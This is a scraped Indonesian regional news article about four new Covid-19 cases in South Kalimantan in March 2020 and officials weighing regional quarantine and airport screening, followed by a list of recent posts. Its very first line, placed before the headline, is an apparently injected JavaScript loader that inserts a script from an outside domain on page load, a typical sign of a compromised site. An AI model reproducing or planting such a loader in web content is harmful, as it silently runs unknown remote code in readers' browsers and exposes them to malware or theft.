(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kasus Covid-19 Bertambah, Pemprov Kalsel Kaji Karantina Wilayah dan Cegah Tangkal di Bandara


KANALKALIMANTAN.COM, BANJARBARU – Ditemukannya empat kasus baru terkonfirmasi positif Covid-19 di Kalimantan Selatan, membuat Pemprov Kalsel semakin waspada dengan penyebaran pandemi ini. Wacana karantina wilayah guna menekan penyebaran virus Covid-19 ini pun mulai muncul.

Juru Bicara Tim Gugus Tugas P3 Covid-19 Kalsel Muhammad Muslim mengatakan, kebijakan ini masih dalam rumusan-rumusan kebijakan. Saat ini, jajarannya tengah memproses untuk membuat perumusan ini. “Tim gugus tugas masih dalam proses membuat perumusan. Nanti kebijakan akan diambil oleh kepala daerah,” kata Muslim.

Sementara Gubernur Kalsel, H Sahbirin Noor yang baru-baru saja meninjau lokasi perbatasan di Kabupaten Tabalong, membenarkan wacana karantina wilayah tersebut akan dibahas lebih dalam. Termasuk juga membahas langkah cegah tangkal di pintu masuk Bandara Intersional Syamsudin Noor.

“Jadi, untuk sementara ini kita akan membahas dan telahaah lebih tajam. Kita akan pertimbangkan apa bisa dipertanggungjawabkan lebih dulu,” tandas aPaman Birin, sapaan akrab Gubernur Kalsel.

Sebelumnya Tim Gugus Tugas P3 Covid-19 Kalimantan Selatan memastikan, adanya penambahan empat pasien yang terkonfirmasi positif Covid-19 di Kalimantan Selatan. Hal ini disampaikan Muslim dalam video conference di Command Center Kalimantan Selatan di Banjarbaru, Senin (30/3/2020) sore. “Yang positif terkonfirmasi Covid-19 bertambah 4 kasus. Sehingga jumlahnya menjadi 5 kasus,” kata Muslim.

Muslim merincikan, kasus pertama yang terkonfirmasi positif yaitu Pasien Ulin-9 yaitu seorang wanita berusia 50 tahun asal Martapura Kabupaten Banjar. Kemudian, pasien Ulin-10 yaitu seorang laki-laki berusia 45 tahun, juga dari Martapura, Kabupaten Banjar. “Kondisinya saat ini masih ada batuk, namun sesak berkurang,” kata Muslim.

Lebih lanjut Muslim menambahkan, pasien Ulin-11 juga terkonfirmasi positif Covid-19. Yaitu seorang laki-laki berusia 56 tahun rujukan dari Kota Banjarmasin. Pasien ini sudah memasuki hari kedelapan perawatan. “Kondisi masih ada sesak nafas,” lugas Muslim.

Terakhir, pasien Ulin-13 seorang laki-laki berusia 21 tahun asal Kabupaten Tabalong, yang juga memasuki hari ke delapan masa perawatan di rumah sakit (RS) rujukan di RSUD Ulin Banjarmasin. “Kondisi masih ada batuk dan sesak nafas,” jelas Muslim.(Kanalkalimantan.com/rico/fikri)

 

Reporter : Fikri/Rico
Editor : Cell

 


Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

5 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

7 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

8 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

9 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.